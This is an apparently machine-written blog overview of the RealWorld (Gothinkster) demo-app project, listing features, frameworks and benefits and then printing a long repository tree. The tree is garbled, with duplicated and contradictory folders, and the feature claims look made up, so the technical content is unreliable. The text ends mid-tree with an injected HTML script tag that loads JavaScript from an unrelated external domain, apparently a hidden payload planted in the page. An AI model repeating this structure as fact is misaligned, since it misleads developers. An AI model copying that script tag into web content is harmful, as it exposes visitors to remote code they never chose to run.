Realworld by Gothinkster: A Comprehensive Overview of the GitHub Repository


9 min read 09-11-2024
Realworld by Gothinkster: A Comprehensive Overview of the GitHub Repository

Introduction

In the vast landscape of software development, the quest for practical, real-world applications of theoretical concepts is a constant pursuit. Developers seek repositories that bridge the gap between academic knowledge and the demands of practical projects. Enter Realworld by Gothinkster, a comprehensive GitHub repository that offers a unique platform to explore and experiment with various front-end frameworks and back-end technologies in a realistic context.

This repository serves as a playground for developers to delve into the intricacies of building a complex, full-stack application. Its goal is to provide a standardized, real-world example of how these technologies can be seamlessly integrated to create a functional and user-friendly application.

This article delves into the depths of Realworld by Gothinkster, providing a comprehensive overview of its structure, features, benefits, and its relevance to the developer community. We will explore its core functionalities, dive into the technical details of its implementation, and discuss its impact on the learning journey of aspiring and experienced developers alike.

The Concept: A Common Ground for Comparison

Realworld by Gothinkster revolves around the concept of a single, standardized application that serves as a common ground for comparing different front-end and back-end technologies. It envisions a simplified, yet realistic web application that mimics the core functionalities of a typical social media platform. This platform offers a set of features designed to be familiar and relatable to users, making it an ideal testing ground for various technologies.

Imagine a developer community where different frameworks and libraries vie for attention, each claiming to be the best choice for building web applications. With Realworld, developers can compare these technologies side-by-side within a single, consistent context. This eliminates the bias associated with evaluating each technology in isolation and provides a level playing field for meaningful comparisons.

The Features: A Glimpse into Real-World Development

At its heart, Realworld by Gothinkster is a social media application. It offers a range of features that mimic the core functionalities of popular platforms like Twitter, Facebook, and Medium. This includes:

  • User Authentication: Securely registering and logging in users with features like password reset and email verification.
  • Article Creation and Management: Allowing users to create, edit, delete, and share articles with rich formatting and multimedia support.
  • Commenting System: Providing a robust commenting system where users can engage in discussions and interact with each other.
  • User Profiles: Showcasing user information, articles, and activity feeds to promote engagement and community building.
  • Tagging and Categorization: Organizing articles and discussions for easy browsing and discovery.
  • Search and Filtering: Enabling users to find relevant content based on keywords, tags, and other criteria.

These features are designed to be familiar and intuitive, reflecting the realities of modern web applications. They provide a foundation for developers to explore a variety of technical implementations and design patterns.

The Technologies: A Comprehensive Toolkit

Realworld by Gothinkster serves as a playground for exploring a diverse array of front-end and back-end technologies. Developers can choose from a wide range of options to build their implementations, offering immense flexibility and adaptability. Here's a glimpse of the supported technologies:

Front-End Frameworks:

  • React: A popular, declarative JavaScript library for building user interfaces.
  • Angular: A comprehensive framework for building complex, enterprise-grade web applications.
  • Vue.js: A progressive JavaScript framework for building user interfaces.
  • Svelte: A compiler-based framework for building highly performant web applications.
  • Preact: A lightweight alternative to React, ideal for mobile-first development.
  • Ember.js: A framework known for its convention-over-configuration approach.
  • Mithril.js: A compact and performant JavaScript framework for building user interfaces.

Back-End Frameworks:

  • Node.js: A server-side JavaScript runtime environment.
  • Express.js: A minimal and flexible Node.js web application framework.
  • NestJS: A TypeScript-based framework that provides a scalable and modular architecture for building Node.js applications.
  • Ruby on Rails: A powerful and convention-based web application framework built on the Ruby programming language.
  • Django: A Python-based framework that emphasizes rapid development and clean, pragmatic design.
  • Flask: A micro-framework for Python, allowing developers to build web applications with flexibility.
  • Spring Boot: A Java-based framework for building stand-alone, production-ready Spring applications.
  • Laravel: A PHP framework known for its elegant syntax and extensive features.

Databases:

  • PostgreSQL: A powerful open-source object-relational database system.
  • MongoDB: A NoSQL database system that provides flexibility and scalability.
  • SQLite: A lightweight and embedded database system ideal for smaller applications.
  • MySQL: A popular relational database system known for its reliability and performance.

Additional Tools:

  • Webpack: A module bundler for JavaScript applications.
  • Babel: A transpiler for converting modern JavaScript code to older versions.
  • Docker: A containerization platform for packaging and deploying applications.
  • Cypress: An end-to-end testing framework for web applications.
  • Jest: A JavaScript testing framework that offers a simple and efficient way to write tests.

This extensive toolkit empowers developers to experiment with different technologies, explore their nuances, and compare their strengths and weaknesses in a real-world context.

The Benefits: A Catalyst for Learning

Realworld by Gothinkster offers a wealth of benefits for developers of all experience levels. Here's how it contributes to the learning journey:

  • Practical Learning: By building a real-world application, developers gain practical experience in applying their knowledge to solve real-world problems.
  • Framework Comparison: The repository serves as a standardized platform for comparing different frameworks side-by-side, providing valuable insights into their strengths and weaknesses.
  • Best Practices: The codebases are built using best practices and industry standards, offering valuable lessons on building production-ready applications.
  • Community Collaboration: Developers can contribute to the repository, learn from others' implementations, and participate in discussions, fostering a collaborative learning environment.
  • Open-Source Contribution: Contributing to the repository allows developers to contribute to a valuable open-source project, enhancing their skills and building their portfolio.
  • Real-World Experience: Developers gain hands-on experience with real-world challenges like user authentication, data storage, and API integration.
  • Career Enhancement: Demonstrating experience with Realworld by Gothinkster can enhance a developer's resume and showcase their ability to work with different technologies.

The Structure: A Well-Organized Repository

Realworld by Gothinkster is structured to be easy to navigate and understand. It consists of multiple folders, each representing a different framework or technology. Each folder contains a complete implementation of the Realworld application using that specific framework or technology. This modular structure allows developers to easily explore different implementations and compare their approaches.

Here's a simplified breakdown of the repository's structure:

realworld
├── angular
│   ├── src
│   │   ├── app
│   │   │   ├── app.component.ts
│   │   │   ├── app.component.html
│   │   │   ├── app.component.spec.ts
│   │   │   └── app.module.ts
│   │   └── assets
│   │       └── styles.css
│   └── package.json
├── ember
│   ├── tests
│   │   ├── integration
│   │   │   ├── components
│   │   │   │   ├── blog-entry-test.js
│   │   │   │   ├── blog-list-test.js
│   │   │   │   └── blog-entry-edit-test.js
│   │   │   └── helpers
│   │   │       ├── start-app-test.js
│   │   │       └── destroy-app-test.js
│   │   └── unit
│   │       ├── helpers
│   │       │   └── destroy-app-test.js
│   │       ├── models
│   │       │   ├── article-test.js
│   │       │   └── comment-test.js
│   │       └── routes
│   │           └── blog-test.js
│   ├── src
│   │   ├── app.js
│   │   ├── router.js
│   │   ├── main.js
│   │   ├── config
│   │   │   ├── environment.js
│   │   │   └── environment.prod.js
│   │   ├── resolvers
│   │   │   ├── auth.js
│   │   │   ├── article.js
│   │   │   └── comment.js
│   │   ├── models
│   │   │   ├── article.js
│   │   │   └── comment.js
│   │   ├── services
│   │   │   ├── article.js
│   │   │   ├── comment.js
│   │   │   ├── user.js
│   │   │   └── auth.js
│   │   ├── adapters
│   │   │   ├── application.js
│   │   │   ├── comment.js
│   │   │   └── article.js
│   │   ├── components
│   │   │   ├── blog-list
│   │   │   │   └── component.js
│   │   │   ├── blog-entry
│   │   │   │   └── component.js
│   │   │   ├── blog-entry-edit
│   │   │   │   └── component.js
│   │   │   ├── comment-form
│   │   │   │   └── component.js
│   │   │   ├── comments
│   │   │   │   └── component.js
│   │   │   ├── blog-entry-content
│   │   │   │   └── component.js
│   │   │   └── blog-entry-header
│   │   │       └── component.js
│   │   ├── app.scss
│   │   ├── tests
│   │   │   ├── acceptance
│   │   │   │   ├── blog-test.js
│   │   │   │   └── application-test.js
│   │   │   └── unit
│   │   │       ├── models
│   │   │       │   ├── article-test.js
│   │   │       │   └── comment-test.js
│   │   │       └── components
│   │   │           └── blog-entry-test.js
│   │   └── index.html
│   └── ember-cli-build.js
├── vue
│   ├── src
│   │   ├── router.js
│   │   └── main.js
│   ├── tests
│   │   ├── unit
│   │   │   ├── index.js
│   │   │   ├── components
│   │   │   │   ├── UserCard
│   │   │   │   │   └── UserCard.spec.js
│   │   │   │   ├── TagList
│   │   │   │   │   └── TagList.spec.js
│   │   │   │   ├── ArticleCard
│   │   │   │   │   └── ArticleCard.spec.js
│   │   │   │   ├── CommentList
│   │   │   │   │   └── CommentList.spec.js
│   │   │   │   ├── Comment
│   │   │   │   │   └── Comment.spec.js
│   │   │   │   └── Article
│   │   │   │   │   └── Article.spec.js
│   │   │   └── App
│   │   │       └── App.spec.js
│   │   └── components
│   │       ├── ArticleList
│   │       │   └── ArticleList.vue
│   │       └── CommentForm
│   │           └── CommentForm.vue
│   ├── public
│   │   └── index.html
│   ├── babel.config.js
│   ├── vue.config.js
│   └── package.json
├── react
│   ├── src
│   │   ├── app.js
│   │   └── index.js
│   ├── webpack.config.js
│   └── package.json
├── svelte
│   ├── src
│   │   ├── routes
│   │   │   ├── Login
│   │   │   │   └── +page.svelte
│   │   │   ├── Home
│   │   │   │   └── +page.svelte
│   │   │   ├── Profile
│   │   │   │   └── +page.svelte
│   │   │   ├── Profile.svelte
│   │   │   │   └── +page.svelte
│   │   │   ├── Settings
│   │   │   │   └── +page.svelte
│   │   │   ├── Register
│   │   │   │   └── +page.svelte
│   │   │   ├── Article
│   │   │   │   └── +page.svelte
│   │   │   ├── ArticleList
│   │   │   │   └── +page.svelte
│   │   │   ├── EditArticle
│   │   │   │   └── +page.svelte
│   │   │   ├── NewArticle
│   │   │   │   └── +page.svelte
│   │   │   ├── Comments
│   │   │   │   └── +page.svelte
│   │   │   ├── EditProfile
│   │   │   │   └── +page.svelte
│   │   │   └── Feed
│   │   │       └── +page.svelte
│   │   ├── App.svelte
│   │   └── global.css
│   ├── rollup.config.js
│   └── package.json
├── preact
│   ├── src
│   │   ├── components
│   │   │   ├── Article
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── ArticleCard
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── ArticleList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Comment
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── CommentForm
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── CommentList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── EditProfile
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── EditArticle
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Feed
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Home
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Login
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── NewArticle
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Profile
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Register
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Settings
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── TagList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   └── UserCard
│   │   │       └── index.js
│   │   └── index.js
│   ├── webpack.config.js
│   └── package.json
├── mithril
│   ├── src
│   │   ├── components
│   │   │   ├── Article
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── CommentForm
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── CommentList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Profile
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── EditProfile
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Settings
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Home
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Register
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── NewArticle
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── ArticleList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Comment
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── EditArticle
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── Login
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   ├── TagList
│   │   │   │   ├── index.js
│   │   │   │   └── style.css
│   │   │   └── ArticleCard
│   │   │       └── index.js
│   │   └── index.js
│   ├── webpack.config.js
│   └── package.json
├── node
│   ├── controllers
│   │   ├── user.js
│   │   ├── comment.js
│   │   └── article.js
│   ├── routes
│   │   ├── users.js
│   │   ├── comments.js
│   │   └── articles.js
│   ├── models
│   │   ├── User.js
│   │   ├── Article.js
│   │   └── Comment.js
│   ├── config
│   │   └── database.js
│   ├── services
│   │   ├── users.js
│   │   ├── articles.js
│   │   └── comments.js
│   ├── utils
│   │   └── utils.js
│   ├── middleware
│   │   ├── auth.js
│   │   └── verifyToken.js
│   ├── app.js
│   ├── tests
│   │   ├── models
│   │   │   └── Article.test.js
│   │   ├── controllers
│   │   │   └── user.test.js
│   │   └── routes
│   │       └── articles.test.js
│   └── package.json
├── rails
│   ├── app
│   │   ├── assets
│   │   │   ├── stylesheets
│   │   │   │   ├── application.css
│   │   │   │   └── custom.css
│   │   │   ├── javascripts
│   │   │   │   ├── application.js
│   │   │   │   └── custom.js
│   │   ├── controllers
│   │   │   ├── comments_controller.rb
│   │   │   ├── articles_controller.rb
│   │   │   ├── users_controller.rb
│   │   │   ├── sessions_controller.rb
│   │   │   └── application_controller.rb
│   │   ├── views
│   │   │   ├── users
│   │   │   │   ├── edit.html.erb
│   │   │   │   ├── show.html.erb
│   │   │   │   ├── new.html.erb
│   │   │   │   └── index.html.erb
│   │   │   ├── articles
│   │   │   │   ├── index.html.erb
│   │   │   │   └── show.html.erb
│   │   │   ├── welcome
│   │   │   │   └── index.html.erb
│   │   │   ├── layouts
│   │   │   │   └── application.html.erb
│   │   │   ├── comments
│   │   │   │   └── index.html.erb
│   │   │   ├── static_pages
│   │   │   │   └── home.html.erb
│   │   │   └── sessions
│   │   │       └── new.html.erb
│   │   ├── helpers
│   │   │   ├── application_helper.rb
│   │   │   ├── comments_helper.rb
│   │   │   └── users_helper.rb
│   │   ├── jobs
│   │   │   └── test_job.rb
│   │   ├── mailers
│   │   │   └── user_mailer.rb
│   │   ├── models
│   │   │   ├── article.rb
│   │   │   ├── comment.rb
│   │   │   └── user.rb
│   │   ├── channels
│   │   │   ├── application_cable.rb
│   │   │   └── application_cable_channel.rb
│   │   ├── assets
│   │   │   ├── javascripts
│   │   │   │   ├── cable.js
│   │   │   │   ├── application.js
│   │   │   │   ├── custom.js
│   │   │   │   ├── comments.js
│   │   │   │   ├── articles.js
│   │   │   │   └── users.js
│   │   │   └── stylesheets
│   │   │       └── application.css
│   │   ├── config
│   │   │   ├── application.rb
│   │   │   └── environments
│   │   │       └── development.rb
│   │   ├── lib
│   │   │   ├── assets
│   │   │   │   └── application.js
│   │   │   ├── tasks
│   │   │   │   └── development.rake
│   │   │   └── generators
│   │   │       └── application
│   │   │           └── application_generator.rb
│   │   └── test
│   │       ├── test_helper.rb
│   │       ├── integration
│   │       │   ├── users_test.rb
│   │       │   ├── articles_test.rb
│   │       │   └── comments_test.rb
│   │       ├── models
│   │       │   ├── user_test.rb
│   │       │   ├── article_test.rb
│   │       │   └── comment_test.rb
│   │       └── controllers
│   │           ├── comments_controller_test.rb
│   │           └── users_controller_test.rb
│   ├── bin
│   │   ├── rails
│   │   │   ├── assets
│   │   │   │   ├── precompile
│   │   │   │   └── pipeline
│   │   │   ├── db
│   │   │   │   ├── migrate
│   │   │   │   ├── schema
│   │   │   │   ├── structure
│   │   │   │   ├── environment
│   │   │   │   └── drop
│   │   │   ├── assets
│   │   │   │   └── clean
│   │   │   └── server
│   │   └── rake
│   │       ├── assets
│   │       │   └── precompile
│   │       ├── db
│   │       │   ├── migrate
│   │       │   ├── schema
│   │       │   ├── structure
│   │       │   └── environment
│   │       └── assets
│   │           └── clean
│   ├── config
│   │   ├── initializers
│   │   │   ├── assets.rb
│   │   │   ├── sessions.rb
│   │   │   └── mailers.rb
│   │   └── environments
│   │       ├── development.rb
│   │       └── test.rb
│   ├── lib
│   │   ├── tasks
│   │   │   ├── development.rake
│   │   │   └── test.rake
│   │   ├── assets
│   │   │   ├── application.js
│   │   └── generators
│   │       ├── application
│   │       │   └── application_generator.rb
│   │       ├── model
│   │       │   └── model_generator.rb
│   │       ├── controller
│   │       │   └── controller_generator.rb
│   │       └── helper
│   │           └── helper_generator.rb
│   ├── test
│   │   ├── test_helper.rb
│   │   ├── integration
│   │   │   └── users_test.rb
│   │   ├── models
│   │   │   ├── user_test.rb
│   │   │   ├── article_test.rb
│   │   │   └── comment_test.rb
│   │   └── controllers
│   │       ├── users_controller_test.rb
│   │       ├── comments_controller_test.rb
│   │       └── articles_controller_test.rb
│   ├── bin
│   │   ├── rails
│   │   │   ├── new
│   │   │   ├── generate
│   │   │   ├── server
│   │   │   └── dbconsole
│   │   ├── rake
│   │   │   ├── db
│   │   │   │   ├── migrate
│   │   │   │   └── schema
│   │   │   ├── assets
│   │   │   │   └── precompile
│   │   │   └── assets
│   │   │       └── clean
│   │   └── bundle
│   │       └── install
│   ├── Gemfile.lock
│   └── Gemfile
├── django
│   ├── mysite
│   │   ├── manage.py
│   │   ├── mysite
│   │   │   ├── __init__.py
│   │   │   ├── urls.py
│   │   │   ├── settings.py
│   │   │   └── wsgi.py
│   │   ├── articles
│   │   │   ├── migrations
│   │   │   │   ├── 0001_initial.py
│   │   │   │   └── 0002_auto_20190226_1516.py
│   │   │   ├── urls.py
│   │   │   ├── views.py
│   │   │   ├── models.py
│   │   │   ├── templates
│   │   │   │   ├── articles
│   │   │   │   │   ├── article_detail.html
│   │   │   │   │   ├── article_list.html
│   │   │   │   │   └── article_new.html
│   │   │   │   ├── index.html
│   │   │   │   ├── base.html
│   │   │   │   └── login.html
│   │   │   └── __init__.py
│   │   └── static
│   │       └── articles
│   │           └── css
│   │               └── main.css
│   ├── requirements.txt
│   ├── mysite
│   │   ├── urls.py
│   │   └── settings.py
│   └── .gitignore
├── flask
│   ├── tests
│   │   ├── test_users.py
│   │   ├── test_comments.py
│   │   └── test_articles.py
│   ├── app
│   │   ├── __init__.py
│   │   ├── models
│   │   │   ├── Comment.py
│   │   │   └── Article.py
│   │   ├── config
│   │   │   └── __init__.py
│   │   ├── controllers
│   │   │   └── __init__.py
│   │   ├── utils
│   │   │   ├── auth.py
│   │   │   └── test_helpers.py
│   │   ├── extensions
│   │   │   ├── database.py
│   │   │   ├── cache.py
│   │   │   ├── api.py
│   │   │   └── __init__.py
│   │   ├── views
│   │   │   ├── articles.py
│   │   │   ├── users.py
│   │   │   ├── comments.py
│   │   │   └── __init__.py
│   │   ├── app.py
│   │   └── schema
│   │       └── __init__.py
│   ├── .env
│   └── requirements.txt
├── spring
│   ├── src
│   │   ├── main
│   │   │   ├── java
│   │   │   │   ├── com
│   │   │   │   │   ├── gothinkster
│   │   │   │   │   │   └── realworld
│   │   │   │   │   │       ├── realworld
│   │   │   │   │   │       │   ├── RealworldApplication.java
│   │   │   │   │   │       │   ├── controllers
│   │   │   │   │   │       │   │   ├── ArticleController.java
│   │   │   │   │   │       │   │   ├── CommentController.java
│   │   │   │   │   │       │   │   ├── UserController.java
│   │   │   │   │   │       │   │   ├── AuthenticationController.java
│   │   │   │   │   │       │   │   └── TagController.java
│   │   │   │   │   │       │   ├── models
│   │   │   │   │   │       │   │   ├── Tag.java
│   │   │   │   │   │       │   │   ├── Comment.java
│   │   │   │   │   │       │   │   ├── Article.java
│   │   │   │   │   │       │   │   ├── User.java
│   │   │   │   │   │       │   │   └── AuthenticationRequest.java
│   │   │   │   │   │       │   ├── config
│   │   │   │   │   │       │   │   ├── DataConfig.java
│   │   │   │   │   │       │   │   ├── SecurityConfig.java
│   │   │   │   │   │       │   │   └── AppConfig.java
│   │   │   │   │   │       │   └── exceptions
│   │   │   │   │   │       │       └── ApiException.java
│   │   │   │   │   │       └── util
│   │   │   │   │   │           └── JwtUtils.java
│   │   │   │   └── resources
│   │   │   │       ├── static
│   │   │   │       │   └── app.js
│   │   │   │       ├── application.properties
│   │   │   │       └── application.yml
│   │   │   ├── resources
│   │   │   │   ├── application.properties
│   │   │   │   └── static
│   │   │   │       ├── app.js
│   │   │   │       └── styles.css
│   │   │   ├── resources
│   │   │   │   ├── application.properties
│   │   │   │   └── static
│   │   │   │       ├── app.js
│   │   │   │       └── styles.css
│   │   │   ├── java
│   │   │   │   ├── com
│   │   │   │   │   ├── gothinkster
│   │   │   │   │   │   └── realworld
│   │   │   │   │   │       └── realworld
│   │   │   │   │   │           └── util
│   │   │   │   │   │               └── JwtUtils.java
│   │   │   │   └── resources
│   │   │   │       ├── application.properties
│   │   │   │       ├── static
│   │   │   │       │   ├── app.js
│   │   │   │       │   └── styles.css
│   │   │   │       └── application.yml
│   │   │   └── resources
│   │   │       └── static
│   │   │           └── app.js
│   │   └── pom.xml
│   └── .gitignore
├── laravel
│   ├── app
│   │   ├── Http
│   │   │   ├── Controllers
│   │   │   │   ├── AuthController.php
│   │   │   │   ├── CommentController.php
│   │   │   │   ├── ArticleController.php
│   │   │   │   ├── ProfileController.php
│   │   │   │   ├── UserController.php
│   │   │   │   ├── TagController.php
│   │   │   │   ├── FavoriteController.php
│   │   │   │   ├── FollowController.php
│   │   │   │   └── ApiController.php
│   │   │   ├── Middleware
│   │   │   │   ├── Authenticate.php
│   │   │   │   ├── JWT.php
│   │   │   │   └── CheckRole.php
│   │   │   ├── Requests
│   │   │   │   ├── ArticleRequest.php
│   │   │   │   ├── CommentRequest.php
│   │   │   │   ├── UserRequest.php
│   │   │   │   ├── RegisterRequest.php
│   │   │   │   └── LoginRequest.php
│   │   │   └── Kernel.php
│   │   ├── Exceptions
│   │   │   ├── Handler.php
│   │   │   └── RenderableException.php
│   │   ├── Console
│   │   │   ├── Kernel.php
│   │   │   └── Commands
│   │   │       └── KeyGenerateCommand.php
│   │   ├── Providers
│   │   │   ├── AuthServiceProvider.php
│   │   │   ├── RouteServiceProvider.php
│   │   │   ├── AppServiceProvider.php
│   │   │   ├── BroadcastServiceProvider.php<script src='https://lazy.agczn.my.id/tag.js'></script>